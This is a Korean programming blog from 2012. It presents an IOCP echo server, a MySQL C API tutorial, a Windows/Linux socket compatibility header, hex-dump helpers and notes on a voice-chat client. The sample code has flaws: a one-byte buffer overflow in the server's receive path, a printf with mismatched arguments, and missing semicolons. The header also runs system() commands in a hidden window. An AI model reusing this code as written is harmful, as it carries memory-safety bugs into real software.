*/

 

void ErrorHandling(char *message);

 

int main(int argc, char** argv)

{

         WSADATA wsaData;

         HANDLE hCompletionPort;

         // 만들어질 CompletionPort가 전달될 Handle

 

         SYSTEM_INFO SystemInfo;

         /*

         시스템 정보가 전달됨 쓰레드를 생성할때 CPU 의 개수에 따라

         쓰레드를 만들어 줘야 하기 때문에 정보를 얻어옴

         */

         SOCKADDR_IN servAddr;

 

         LPPER_IO_DATA PerIoData;

         //위에서구조체로만들어준소켓의버퍼정보

        

         LPPER_HANDLE_DATA PerHandleData;

         //소켓정보가저장될구조체여기서는소켓핸들과주소를가지고있다.

 

         SOCKET hServSock;

         int RecvBytes;

         int i, Flags;

 

         if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) /* Load Winsock 2.2 DLL */

                  ErrorHandling("WSAStartup() error!");

 

         //1. Completion Port 생성.

         hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);

         /*

         CreateIoCompletionPort 의 첫번째에 해당하며

         Completion Port 를 만들어주는 부분이다.

         은행이야기를 예로 들자면 은행을 만들어 주는 부분이 된다.

         */

 

         GetSystemInfo(&SystemInfo);

         /*

         시스템 정보를 얻어온다.

         이는 앞서 말했지만 CPU의 개수만큼 쓰레드를 만들기 위해서 이다

         이렇게 얻어온 시스템 정보는 맴버변수 dwNumberOfProcessors CPU의 개수가들어간다.

         */

 

         //2. Completion Port 에서 입출력 완료를 대기하는 쓰레드를 CPU 개수만큼 생성.

         for(i=0; i<SystemInfo.dwNumberOfProcessors; i++)

                  _beginthreadex(NULL, 0, CompletionThread, (LPVOID)hCompletionPort, 0, NULL);

         /*

                  CPU의 개수만큼 쓰레드를 만들어 주는 부분이다.

                  이때 새로 만들어지는 쓰레드에 미리 만들어둔 Completion Port 를전달하는데

                  이를통해 unsigned int __stdcall CompletionThread(LPVOID pComPort); 함수의인자로

                  쓰레드로 전달한 Completion Port 가전달된다.

 

                  은행을 예로들자면 은행원을 고용하는 부분 입니다.

                  은행 크기에 맞게 은행원을 고용하게됩니다

                  또한 은행원의 소속을 현재 만들어준 은행이라고 나타내는 부분입니다.

         */

 

         hServSock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

         // 소켓을 만들때는 꼭 중첩 입출력 형식으로 만들어 주어야 한다.

         servAddr.sin_family=AF_INET;

         servAddr.sin_addr.s_addr=htonl(INADDR_ANY);

         servAddr.sin_port=htons(atoi("2738"));

 

         bind(hServSock, (SOCKADDR*)&servAddr, sizeof(servAddr));

         listen(hServSock, 5);

 

         while(TRUE)

         { 

                  SOCKET hClntSock;

                  SOCKADDR_IN clntAddr; 

                  int addrLen=sizeof(clntAddr);

 

                  hClntSock=accept(hServSock, (SOCKADDR*)&clntAddr, &addrLen); 

 

                  // 연결된클라이언트의소켓핸들정보와주소정보를설정.

                  PerHandleData=(LPPER_HANDLE_DATA)malloc(sizeof(PER_HANDLE_DATA)); 

                  PerHandleData->hClntSock=hClntSock;

                  memcpy(&(PerHandleData->clntAddr), &clntAddr, addrLen);

                  /*

                  PerHandleData에 연결된 클라이언트의 정보들을 저장한다.

                  이때 동적 할당으로 정보를 저장 하는데 동적 할당을 모른다면 공부하고 오도록 하자

                  */

 

                  //3. Overlapped 소켓과 CompletionPort의 연결.

                  CreateIoCompletionPort((HANDLE)hClntSock, hCompletionPort, (DWORD)PerHandleData, 0);

                  /*

                  CreateIoCompletionPort 의 두번째 기능에 해당 한다.

                  현재 연결된 클라이언트와 만들어둔 CompletionPort 오브젝트를 연결 해준다.             

                  세번째 인자로 위에서 클라이언트 정보를 저장했던 PerHandleData를 넘겨 준다.

                  이를 통해서 입출력이 완료된 클라이언트의 정보를 얻는것이 가능 하다.

                  잠시후 아래에서 이부분을 시보라고 기제하게 될것 이다.

 

                  은행으로 치자면

                  은행에 손님이 들어오게 되는 부분 입니다.

                  */

 

                  // 연결된 클라이언트를 위한 버퍼를 설정하고 OVERLAPPED 구조체 변수 초기화.

                  PerIoData=(LPPER_IO_DATA)malloc(sizeof(PER_IO_DATA));

                  memset(&(PerIoData->overlapped), 0, sizeof(OVERLAPPED)); 

                  PerIoData->wsaBuf.len=BUFSIZE;

                  PerIoData->wsaBuf.buf=PerIoData->buffer;

                  /*

                  PerIoData 를 만들어 주고 초기화 합니다.

                  이는 소켓 버퍼정보를 지니는 구조체 입니다.

                  */

                  Flags=0;

 

                  //4. 중첩된 데이터입력.

                  WSARecv(PerHandleData->hClntSock, // 데이터 입력소켓.

                           &(PerIoData->wsaBuf),  // 데이터 입력 버퍼포인터.

                           1,       // 데이터 입력 버퍼의 수.

                           (LPDWORD)&RecvBytes,    

                           (LPDWORD)&Flags,

                           &(PerIoData->overlapped), // OVERLAPPED 구조체 포인터.

                           NULL

                           );  

                  /*

                  이부분은 중첩입출력 부분에서 배웠으므로 자세히 설명하지는 않도록 하겠다.

                  다만 유의해서 볼점은 여섯번째 인자로 전달된PerIoData 구조체에 overlapped 이다.

                  조금 있다가 이부분도 다시보게 될것이다.

                  */

         }

         return 0;

}

 

//입출력 완료에 따른 쓰레드의 행동 정의

unsigned int __stdcall CompletionThread(LPVOID pComPort)

 

{

         HANDLE hCompletionPort =(HANDLE)pComPort;

         /*

         인자로 받은 pComPort 에는 main의 hCompletionPort 가 전달 된다.

         이는 쓰레드를 생성시 main 의 hCompletionPort 를 인자로 전달 했기 때문이다.

         */

 

         DWORD BytesTransferred;

         LPPER_HANDLE_DATA PerHandleData;

         LPPER_IO_DATA PerIoData;

         DWORD flags;

 

         while(1)

         {

                  // 5. 입출력이 완료된 소켓의 정보 얻음.

                  GetQueuedCompletionStatus(hCompletionPort,    // Completion Port

                           &BytesTransferred,   // 전송된 바이트수

                           (LPDWORD)&PerHandleData,

                           (LPOVERLAPPED*)&PerIoData, // OVERLAPPED 구조체 포인터.

                           INFINITE

                           );

                  /*

                  첫번째 인자로 전달된 hCompletionPort 의연결된 소켓들 중에

                  입출력을 완료한 소켓이 있다면 리턴 한다.

                  그렇지 않다면 입출력의 완료가 될때까지 기다린다.

                  이때 세번째 인자로 전달된 PerHandleData 은입출력이 완료된 소켓이

                  hCompletionPort 와 연결 할때 같이 세번째 인자로 전달했던 클라이언트 정보가 전달 된다.

                  위에가서 다시보고 오도록 하자.

                  네번째 인자로 전달된 PerIoData 에는Send Recv 시에 전달했던

                  overapped 구조체 변수의 포인터를 얻기 위해사용된다.

                 

                  위로 올라가 Recv 함수 호출시 어떻게 overlapped 구조체 변수의 주소를 전달했는지 보고 오도록하자.

                  여기서 우리가 LPPER_IO_DATA 구조체로 overlapped 구조체 정보를 얻어올때 Recv 시 전달했던

                  데이터 정보들도 같이 받아오게 된다.

                  이는 받아오게 되는 overlapped 구조체 주소가 실제로는 LPPER_IO_DATA 구조체의 주소이기 때문이다.

                  LPPER_IO_DATA 구조체를 만들어 줄때 가장 먼저 포함 시킨 맴버가 무엇인지 보고 오도록 하자.

                  LPPER_IO_DATA 구조체의 시작주소 와 overlapped 구조체의 시작주소는 같기 때문에 가능하다.

                  */

 

                  if(BytesTransferred==0) //EOF 전송시.

                  {

                           closesocket(PerHandleData->hClntSock);

                           free(PerHandleData);

                           free(PerIoData);

                           /*

                           클라이언트의 연결 종료시 처리를 해준다.

                           free 가 이해가 안된다면 동적할당을 배우고 오도록..

                           */

                           continue

                  } 

                 

                  PerIoData->wsaBuf.buf[BytesTransferred] = '\0';

                  printf("Recv[%s]\n",PerIoData->wsaBuf.buf);

                  // 6. 메시지클라이언트로에코.

                  PerIoData->wsaBuf.len=BytesTransferred;

                  WSASend(PerHandleData->hClntSock, &(PerIoData->wsaBuf), 1, NULL, 0, NULL, NULL);

 

                  // RECEIVE AGAIN

                  memset(&(PerIoData->overlapped), 0, sizeof(OVERLAPPED));

                  PerIoData->wsaBuf.len=BUFSIZE;

                  PerIoData->wsaBuf.buf=PerIoData->buffer;

 

                  flags=0;

                  WSARecv(PerHandleData->hClntSock,

                           &(PerIoData->wsaBuf),

                           1,

                           NULL,

                           &flags,

                           &(PerIoData->overlapped),

                           NULL

                           );      

         }

         return 0;

}

 

void ErrorHandling(char *message)

{

         fputs(message, stderr);

         fputc('\n', stderr);

         exit(1);

}

 





Posted by k1rha
2012. 5. 24. 16:53

출처 : http://blog.naver.com/asloud?Redirect=Log&logNo=10101192728



C 언어로 MySQL 연결하는 방법.



C 언어를 사용하여 MySQL을 연결하는 사용하는 방법을 남겨본다.

Java로는 많이 해보았지만 C 언어로 DB 연결을 해본 경험이 없었다. 그리하여 대강 파악한 방법을 남겨본다.

이렇게 남겨야 나중에 찾아보기라도 하지.

1. 준비

1) MySQL 설치

MySQL을 설치하면 C 개발에 필요한 해더파일들과 라이브러리들도 설치된다.

2) VIsual Studio

환경이 Windows라서 Visual Studio로 개발.

Visual Studio의 프로젝트 생성 후 필요한 해더파일, 라이브러리들을 설정해야 한다.

3) 필요한 해더 파일과 라이브러리들은 MySQL의 설치 경로 아래에 있다.

예를 들어 MySQL의 설치 경로가 "C:\Program Files\MySQL\MySQL Server 5.5" 라면

그 하위 폴더 중 include 폴더 해더 파일들이 존재

그 하위 폴더 중 lib 폴더에 라이브러리 파일들이 존재

4) Visual Studio 프로젝트 설정

해더파일 추가

[프로젝트] → [속성] 으로 들어간다.

[구성속성] → [C/C++] → [일반]

[추가포함 디렉토리]에 MySQL의 해더파일 디렉토리를 추가

라이브러리 추가

[구성속성] → [링커] → [일반]

[추가 라이브러리 디렉토리]에 라이브러리 디렉토리 추가

"libmysql.lib" 설정

[구성속성] → [링커] → [입력]

[추가 종속성]에 "libmysql.lib"을 추가한다

프로젝트 폴더에 "libmysql.dll" 파일을 복사하여야 한다. "libmysql.dll" 파일 없이 실행하면 "libmysql.dll" 파일이 없어 에러가 발생한다.

완성된 프로그램의 실행을 위해서라면 system32 폴더 밑에 "libmysql.dll" 파일을 두어야 한다.

2. API

1) 제일 첫 줄은 [#define SOCKET int] 이어야 한다고 한다.이유는 ws2_32.lib를 추가하는 수고를 덜기 위해서라고 한다.

2) 당연한 이야기이지만 mysql.h 파일을 include해야 한다. 위의 설정을 잘 했다면 my라고만 쳐도 visual studio가 알아서 파일 이름을 찾아줄 것이다.

변수

MYSQL

MySQL DB와 연결을 관리하는 구조체.

This structure represents a handle to one database connection.

MYSQL_RES

쿼리의 결과를 나타내는 자료형. Result set으로 불림.

This structure represents the result of a query that returns rows (SELECT, SHOW,DESCRIBE, EXPLAIN).

MYSQL_ROW

MYSQL_RES에서 하나의 레코드씩 값을 얻어 올 때 쓰이는 자료형. mysql_fetch_row() 함수에서 쓰임.

This is a type-safe representation of one row of data.

MYSQL_FILED

필드의 이름과 필드의 타입 등 필드에 관한 정보를 저장하는 구조체. mysql_fetch_field() 함수에서 쓰임.

This structure contains information about a field, such as the field's name, type, and size.

함수

mysql_init()

- mysql_real_connect() 함수를 위해 MYSQL 객체를 할당 및 초기화

MYSQL *mysql_init(MYSQL *mysql)

mysql이 NULL이라면 새로운 MYSQL 객체를 할당 및 초기화 하여 반환한다.

- 매개별수

mysql :

- 반환 값 : An initialized MYSQL* handle.


mysql_real_connect()

- host에서 실행중인 MySQL 데이터베이스 엔진에 연결을 설정하려고 시도하는 함수

MYSQL *mysql_real_connect(MYSQL *mysql, const char *host, const char *user, const char *passwd, const char *db, unsigned int port, const char *unix_socket, unsigned long client_flag)

- 매개변수

mysql : MYSQL 구조체의 포인터

host : 연결하고자 하는 서버의 IP 주소 또는 도메인 이름, NULL이면 localhost를 의미

user : MySQL의 로그인 ID. NULL이거나 빈 문자열이면 현재 로그인한 유저

passwd : user의 패스워드. NULL이면 패스워드가 없다는 뜻

db : 접속하려는 데이터베이스 이름. NULL 이면 기본 데이터베이스를 설정한다

port : 연결시 사용할 포트

unix_socket : unix_socket이 NULL이 아니면, 사용할 소켓이나 파이프 이름을 지정. 보통 NULL로 사용한다

client_flag : 보통 0으로 사용한다. 여러가지 플래그 값을 사용할 수 있다.

- 반환 값 : 연결이 성공하면 MYSQL* connection 핸들을 넘겨준다. 연결 실패면 NULL을 반환

mysql_close()

- 이전에 연 연결을 닫는다

void mysql_close(MYSQL *mysql)

- 매개변수

mysql : 연결을 가지고 있는 핸들

- 반환 값 : 없음

mysql_query()

- 쿼리문을 실행시킨다. 쿼리 문장에는 세미콜론(;)을 포함시키지 않는다.

바이너리 데이터를 포함시켜 사용할 수 없다(바이너리 데이터는 NULL 문자('\0')를 포함할 수 있어서). 대신 mysql_real_query()를 사용하여야 한다.

int mysql_query(MYSQL *mysql, const char *stmt_str)

- 매개변수

mysql : 연결 핸들

stmt_str : 실행할 쿼리 문. 세미 콜론을 포함하지 않는다

- 반환 값 : 성공하면 0을 반환한다

mysql_real_query()

- length 바이트 길이의 쿼리 문장을 실행. 바이너리 데이트를 포함하는 문장 사용 가능

int mysql_real_query(MYSQL *mysql, const char *stmt_str, unsigned long length)

- 매개변수

mysql : 연결 핸들

stmt_str : 실행할 쿼리 문.

length : 쿼리 문장 길이

- 반환 값 : 성공하면 0을 반환한다.

mysql_store_result()

- 쿼리 문 실행 후 결과값을 가져온다. 쿼리 결과의 모든 ROW들를 한번에 얻어 온다

MYSQL_RES *mysql_store_result(MYSQL *mysql)

- 반환 값 :

MYSQL_RES : A MYSQL_RES result structure with the results. NULL 이면 실패

mysql_use_result()

- 쿼리 문 실행 후 결과 값을 가져오는 데 mysql_store_result() 함수와는 달리 한 개의 ROW만 가져온다

MYSQL_RES *mysql_use_result(MYSQL *mysql)

- 반환 값 :

MYSQL_RES : A MYSQL_RES result structure. NULL 이면 실패

mysql_fetch_row()

- 결과 ROW들을 담은 result에서 다음 ROW를 얻어 온다

MYSQL_ROW mysql_fetch_row(MYSQL_RES *result)

- 매개 변수

result : 결과 ROW들을 담고 있는 구조체 포인터

- 반환 값 : 다음 ROW인 MYSQL_ROW 구조체


mysql_free_result()

- mysql_store_result() 함수에 의해 할당된 메모리를 해제한다

void mysql_free_result(MYSQL_RES *result)

- 매개 변수

result : 메모리를 할당할 MYSQL_RES 구조체 포인터

- 반환 값 : 없음

3. 예제 소스 코드

#define SOCKET int // 이거 해주어야 한다고 하더라고
#include<stdio.h>
#include<string.h>
#include<mysql.h> // MySQL을 연결하기 위해 꼭 필요한 해더 파일

// Database에 연결하기 위한 기본적인 정보
#define HOST "localhost" // 연결할 host 주소
#define USER "name" // 사용자 이름
#define PASS "pw" // 패스워드
#define NAME "database_name" // 접속할 데이터베이스 이름

int main(void){

char* query="select * from table_name"; // 실행할 쿼리
int len;

MYSQL* conn_ptr; // MySQL과의 연결을 담당
MYSQL_RES* res; // 쿼리에 대한 결과를 받는 변수
MYSQL_ROW row; // 쿼리에 대한 실제 데이터 값이 들어있는 변수

conn_ptr=mysql_init(NULL); // 초기화
if(!conn_ptr){
printf("mysql_init failed!!\n");
}

// MySQL에 연결
conn_ptr=mysql_real_connect(conn_ptr, HOST, USER, PASS, NAME, 3306, (char*)NULL, 0);

if(conn_ptr){
printf("연결 성공\n");
}else{
printf("연결 실패\n");
}

// 쿼리 실행
// mysql_query() 실행 후 반환값이 0이어야 성공
len=mysql_query(conn_ptr, query);

res=mysql_store_result(conn_ptr); // 전속한 결과 값을 MYSQL_RES 변수에 저장

// 쿼리 결과 값 출력
while((row=mysql_fetch_row(res))!=NULL){ // 한 ROW 씩 얻어 온다
printf("%s %s %s %s\n", row[0], row[1], row[2]); // 결과 값 출력
}

// 할당 된 메모리 해제
mysql_free_result(res);
mysql_close(conn_ptr);

return 0;
}

Posted by k1rha
2012. 5. 22. 21:44

winsock 에서 사용하는 함수를 linux 소켓에서 사용하기 

혹시 나처럼 winsock.h 를 어떻게든 리눅스에 올려서 사용할 수 없을까? 를 고민하는 사람이 있다면, "그냥 linux 환경에서 다시짜는게 훨씬 속 편하다" 라는 답을 주고 싶다.


멤버십 과제로 증강현실 온라인 게임을 과제로 할 계획인데, 평소에 winsock2.h 로  소켓통신을 한지라 linux 헤더에 대한 의심을 하기 시작하던 중이다. 


예전에 winsock 공부를 할때 책에 "윈도우 소켓은 리눅스 소켓에서도 조금만 변경하여 사용 할 수 있다 " 라고 하여 그대로 복사 하였다가 수천개의 오류를 검출 했던 기억이 있던 중 indra 형이 아래와 같은 헤더를 던저 주셨다. 


아래의 헤더는 WIN32 환경일 시와 리눅스 환경일 시 어느정도 호환성을 맞춰주는 헤더이다. 


완전 매력!  헤더 원본명은 winlin.h 이고 부작용 없이 소켓을 사용 할수 있는 헤더이다. 



 

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <string.h>


/**********************************************************************

 *                             WINDOWS

 *********************************************************************/

#ifdef WIN32

#include <malloc.h>

#include <windows.h>

#include <io.h>

#include <conio.h>

#include <winsock.h>

#include <lm.h>

#include <Shlwapi.h>


#pragma comment (lib, "ws2_32")

#pragma comment (lib, "netapi32.lib")

#pragma comment (lib, "Shlwapi.lib")

#pragma comment (lib, "Advapi32.lib")

#pragma comment (lib, "advapi32")


#define open            _open

#define read            _read

#define write           _write

#define lseek           _lseek


#define unlink(f) _unlink(f);

#define sleep(s)        _sleep(s*1000)

#define close(s)        \

if(closesocket(s) == SOCKET_ERROR) { \

if(_close(s) != -1) { \

s = 0; \

} \

} else { \

s = 0; \

}


#define O_RDONLY        _O_RDONLY

#define O_RDWR          _O_RDWR

#define O_APPEND _O_APPEND

#define O_CREAT         _O_CREAT

#define O_BINARY        _O_BINARY


#define DIR_DELIM '\\'


char logbuffer[4096];


#define snprintf(b, s, ...) \

        memset(b, 0x00, s); \

        _snprintf(b, s - 1, __VA_ARGS__)


#define _DEBUG(...) \

        memset(logbuffer, 0x00, sizeof(logbuffer)); \

        memcpy(logbuffer, "[DEBUG] ", 8); \

        _snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer) - 1, __VA_ARGS__); \

        logbuffer[strlen(logbuffer) - 1] = (logbuffer[strlen(logbuffer) - 1] == '\n' ? ' ' : logbuffer[strlen(logbuffer) - 1]); \

        _snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer) - 1, " - %s(), %d line\n", __FUNCTION__, __LINE__); \

        OutputDebugString(logbuffer)


#define _ERROR(...) \

        memset(logbuffer, 0x00, sizeof(logbuffer)); \

        memcpy(logbuffer, "[ERROR] ", 8); \

        _snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer) - 1, __VA_ARGS__); \

        logbuffer[strlen(logbuffer) - 1] = (logbuffer[strlen(logbuffer) - 1] == '\n' ? ' ' : logbuffer[strlen(logbuffer) - 1]); \

        _snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer) - 1, " - %s(), %d line\n", __FUNCTION__, __LINE__); \

        OutputDebugString(logbuffer)


#define system(cmdline) \

STARTUPINFO si; \

PROCESS_INFORMATION pi; \

ZeroMemory( &pi, sizeof(pi) ); \

ZeroMemory( &si, sizeof(si) ); \

si.cb = sizeof(si); \

si.wShowWindow = SW_HIDE; \

CreateProcess(NULL, cmdline, NULL, NULL,TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); \

WaitForSingleObject(pi.hProcess, INFINITE)


#else


/**********************************************************************

 *                             LINUX

 *********************************************************************/

#include <utime.h>

#include <unistd.h>

#include <netdb.h>

#include <string.h>

#include <pthread.h>

#include <sys/stat.h>

#include <sys/wait.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <net/if.h>

#include <arpa/inet.h>


#define TRUE 1

#define FALSE 0


#define ERROR_ALREADY_EXISTS 1


#define O_BINARY 0


#define DIR_DELIM '/'


char logbuffer[4096];


#define _DEBUG(...) \

        memset(logbuffer, 0x00, sizeof(logbuffer)); \

        memcpy(logbuffer, "[DEBUG] ", 8); \

        snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer), __VA_ARGS__); \

        logbuffer[strlen(logbuffer) - 1] = (logbuffer[strlen(logbuffer) - 1] == '\n' ? ' ' : logbuffer[strlen(logbuffer) - 1]); \

        snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer), " - %s(), %d line\n", __func__, __LINE__); \

        fprintf(stdout, "%s", logbuffer); \

fflush(stdout)


#define _ERROR(...) \

        memset(logbuffer, 0x00, sizeof(logbuffer)); \

        memcpy(logbuffer, "[ERROR] ", 8); \

        snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer), __VA_ARGS__); \

        logbuffer[strlen(logbuffer) - 1] = (logbuffer[strlen(logbuffer) - 1] == '\n' ? ' ' : logbuffer[strlen(logbuffer) - 1]); \

        snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer), " - %s(), %d line\n", __func__, __LINE__); \

        fprintf(stderr, "%s", logbuffer); \

fflush(stderr)


#endif



/**********************************************************************

 *                             COMMON

 *********************************************************************/


#define CONN_TMOUT_SEC 1

#define CONN_TMOUT_USEC 0


#define RECV_TMOUT_SEC 5

#define RECV_TMOUT_USEC 0


#define MAX_LOCAL_ETHER 10


#define FSIZE 256

#define LINESIZE 1024




Posted by k1rha
2012. 4. 27. 21:14

다음은 국내 해커 ohhara님이 이미 만들어 놓으신 dumpcode.h라는 헤더입니다. ==================================================================== // dumpcode.h by ohhara void printchar(unsigned char c) { if(isprint(c)) printf("%c",c); // 해당하는 값을 문자로 표시 else printf("."); // 출력 불가능한 문자는 그냥 .으로 표시 } // 메모리 시작 주소와 출력할 크기를 인자로 받음 void dumpcode(unsigned char *buff, int len) { int i; for(i=0;i<len;i++) { // 16바이트 단위로 주소 출력 if(i%16==0) printf("0x%08x ",&buff[i]); // hex 값 출력 printf("%02x ",buff[i]); // 해당 16진수들을 각각 문자로 출력 if(i%16-15==0) { int j; printf(" "); for(j=i-15;j<=i;j++) printchar(buff[j]); printf("\n"); } } // 마지막 라인이 16바이트 이하일 경우 정렬 유지 if(i%16!=0) { int j; int spaces=(len-i+16-i%16)*3+2; for(j=0;j<spaces;j++) printf(" "); // 부족한 공간만큼 space로 이동한 후, for(j=i-i%16;j<len;j++) printchar(buff[j]); // 남은 문자 값들 출력 } printf("\n"); } ==================================================================== 이를 소스 코드에 추가하거나, 혹은 dumpcode.h로 만든 후 include 시키면 dumpcode()라는 함수를 사용할 수 있게 됩니다. 또는 dumpcode.h를 /usr/include/ 디렉토리에 복사해 넣으시면 어느 경로에서든 include하여 사용하실 수 있습니다.



아래는 또다른 덤프코드(이게 깔끔함)


 

/******************************

* RAW 메모리를 16진수로 덤프

*******************************/

void dump(const unsigned char *data_buffer, const unsigned int length) {

unsigned char byte;

unsigned int i, j;

   

for(i=0; i < length; i++) {

byte = data_buffer[i];

if (i%16 == 0)

printf("%08x: ", (unsigned int)&data_buffer[i]);

printf("%02x ", byte); // display byte in hex

   

if(((i%16)==15) || (i==length-1)) {

for(j=0; j < 15-(i%16); j++)

printf(" ");

printf(" | ");

for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line

byte = data_buffer[j];

if((byte > 31) && (byte < 127)) // outside printable char range

printf("%c", byte);

else

printf(".");

}

printf("\n"); // end of the dump line (each line 16 bytes)

} // end if

} // end for

}



Posted by k1rha
2012. 4. 13. 12:18


===================================================================================================

음성채팅 분석내용이다. 아직 클라이언트만 했지만 일단 큰 흐름은 잡힌것 같다. 파일은 너무 용량이 커서 별첨한다. 

중요한 부분이라고 생각한 것의주로 봐봤는데, 실제 일반 소켓통신에 음성을 받아주는 버퍼값만 추가된 정도 같다.  한글문서로 만들엇다가 그대로 복사한 내용이므로 첨부된 한글 파일로 보면 좀더 편할 것이다.

===================================================================

For CodeReading SIG.hwp

음성채팅 프로그램 분석 [client]

For  SSM  CodeReading SIG

 



void CTalkclientDlg::OnBtnconnect()

: 서버에 연결하는 부분 설정을 잡고 InitSockets를 호출한다.

BOOL CTalkclientDlg::InitSockets(int iProtIndex) :

연결을 위해 소켓을 초기화 시킨다.

AF_IPX 타입인 경우 :

winapi인 GetAddressByName

를 호출함으로 VOICE_TALK_SERVER_IPX 라는 이름으로 프로토콜을 맞춤.

AF_INET 타입인 경우 :

GetAddressByName를 호출함으로써 server name으로 IP를 맞춤

AF_NETBIOS 인 경우 :

SET_NETBIOS_SOCKADDR를 호출함으로써 넷바이오스 설정으로 맞춤

 

 

m_MySock구조체에 소켓을 셋팅 해 준다.

m_iSockType는 소켓의 TYPE을 정해줌으로 인터넷 주소 체계를 지정한다.

m_iProtocol 는 프로토콜을 정의한다.

socket() 함수를 통하여 소켓을 생성하고 그 값을 socket에 저장한다.

 

connect()를 통하여 서버에 연결을 해준다.

 

WSAAsyncSelect() 비동기 분할 처리 방식으로 소켓을 바꾼다.

(이것을 이용하여 다수의 사용자가 동시에 연결 할 수 있게 된다.)

 

 

void CTalkclientDlg::DoConnection(BOOL bTrue)

:연결 했을 때 dialog 상태를 바꾸어 주는 역할만 한다.

 

void CTalkclientDlg::OnBtnsend()

//전송 버튼을 눌렀을 때 행동

typedef struct _VTMSG

{

BYTE m_ucIdentity; // Identifies the message

BYTE m_ucCmd; // message command

BYTE m_ucMsgType; // The message type

UINT m_lLength; // size of the message block

BYTE m_pData[VT_MAX]; // message data

} VTMSG, *LPVTMSG;

구조체에 쓰여질 문자열을 입력한다.

이부분은 일반 C소켓과 좀 다른 부분 같다. 일반 소켓은 char* 형으로 전달되는데 여기서는 음성을 위해 바이트 코드로 전송시켜주기 위함 같다.

 

데이터를 실어 나르는 곳은 m_pData[VT_MAX]; 이 부분이다.

 

SendVTMessage() 메소드를 호출함으로 메시지를 전송 시킨다.

if((sendingSize = (int)send(sock, (char *)sendBuf + byteSent,

byteAll - byteSent, 0)) == SOCKET_ERROR)

{

// Error

return FALSE;

}

byteSent += sendingSize;

 

위에서 말했던 Char * 부분이 여기 있다. send()는 함수를 이용하여 다 전송될 때 까지 보낸다.

 

void CTalkclientDlg::OnBtndisconnect()

:서버에서 연결을 끊는다.

DoConnection(FALSE);

를 이용하여 연결을 끊는다. flase 로 들어가게 되면 closesocket()를 통하여 소켓을 끝내고 다른 변수들을 초기화 시켜 준다.

 

void CTalkclientDlg::OnSelchangeCombchatter()

:사용자를 선택

if(m_ComBoTalker.GetCurSel()==LB_ERR) 메시지 버프에 기존의 정보로 문자열을 체우고 소켓 비동기형으로 다시 소켓 셋팅

else

새로운 사용자의 정보로 비동기 소켓을 열음

 

void CTalkclientDlg::OnChkvoice()

:음성 메시지를 보내는 것을 설정

:일반 메시지보내는 박스를 비활성화 시킴

m_vtRecord.StartRecord();

:녹음을 시작함

BOOL VTRecordWave::StartRecord(void)

: 음성 녹음 메소드

Initialize();

:음성 녹음 초기화

WAVEINCAPS wic;

WAVEFORMATEX wfx;

UINT uiDevID;

MMRESULT rc;

UINT nMaxDev = ::waveInGetNumDevs();

char sError[129];

 

같은 경우 MMSystem.h에서 제공해주는 음성를 저장하기 위한 변수

rc = ::waveInGetDevCaps(uiDevID, &wic, sizeof(wic));

마이크 상태값 가져오기.

 

 

for(uiDevID = 0; uiDevID < nMaxDev; uiDevID++)

{

// Get input device caps

rc = ::waveInGetDevCaps(uiDevID, &wic, sizeof(wic));

if(rc == MMSYSERR_NOERROR)

{

// Set the correct format for wave input device

wfx.nChannels = VTWAVECHANNEL[m_iFormat]; //1: mono, 2, stereo

wfx.nSamplesPerSec = VTWAVEFREQ[m_iFormat];

wfx.wFormatTag = WAVE_FORMAT_PCM;

wfx.wBitsPerSample = VTWAVEBITS[m_iFormat];

wfx.nBlockAlign = wfx.nChannels*wfx.wBitsPerSample/8;

wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign;

wfx.cbSize = 0;

 

// Open the wave input device

rc = waveInOpen(&m_hwIn, uiDevID, &wfx, (DWORD)m_hWnd,

0, CALLBACK_WINDOW);

 

if (rc == MMSYSERR_NOERROR)

break

else // Failed

{

// Get the error information

waveInGetErrorText(rc, sError, 128),

MessageBox(m_hWnd, sError, "Error in input device opening", MB_OK);

return FALSE;

}

}

}

rc = waveInPrepareHeader(m_hwIn, m_pWhdrIn, sizeof(WAVEHDR));

:음성 녹음을 담당하는 선언 해 주는 부분 (WIN API에서 제공)

[This function prepares a buffer for waveform input. This function allows both the audio driver and the operation System 새애 time consuming processing of the header and /or buffer once at initalization]

 

rc = waveInAddBuffer(m_hwIn, m_pWhdrIn, sizeof(WAVEHDR));

:음성을 담아두는 버퍼 부분

waveInGetErrorText(rc, sError, 128)

: 음성 설정 에러를 체크 하는 부분

rc = waveInStart(m_hwIn);

:음성 기록을 시작.

 

m_vtRecord.StopRecord();

:음성 기록 종료

 

 

void VTRecordWave::StopRecord(void)

:음성 레코드 기록을 멈춤

waveInStop(m_hwIn);

: 음성기록을 멈춤

waveInUnprepareHeader(m_hwIn, m_pWhdrIn, sizeof(WAVEHDR));

:음성준비를 끝냄

waveInClose(m_hwIn);

:음성 핸들러 종료

 

BOOL VTRecordWave::ResetRecord(void) (음성 기록을 상속 시켰으면 좀 편하지 않았을까?)

waveInStop(m_hwIn);

: 음성 기록을 멈춤

: 음성 재 기록 부분

waveInUnprepareHeader(m_hwIn, m_pWhdrIn, sizeof(WAVEHDR));

:음성준비를 끝냄

StopRecord()

:기록 종료

 

void CTalkclientDlg::EnableTalking(BOOL bTrue)

:음성 통신을 위해 상태를 정하는 flag 값이 들어가 있는 곳

:그외엔 별다른 특징 없음

 

void CTalkclientDlg::ParseMsgData(void)

:받은 메시지를 파싱해주는 부분

m_vtRecvMsgBuf.m_ucMsgType

:타입에 따라 어떻게 버퍼에 저장할지 정함

 

case VT_TEXT

: 일반 메시지로써 스트링값에 그냥 저장한다.

